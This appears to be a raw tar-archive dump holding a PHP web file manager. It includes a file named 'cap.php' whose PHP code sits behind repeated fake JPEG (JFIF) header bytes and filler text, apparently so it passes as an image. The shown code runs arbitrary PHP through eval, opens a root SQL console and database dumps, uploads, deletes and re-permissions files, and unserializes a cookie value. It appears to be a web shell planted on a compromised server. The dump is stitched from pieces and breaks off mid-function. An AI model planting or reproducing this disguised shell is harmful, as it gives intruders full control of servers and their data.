		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
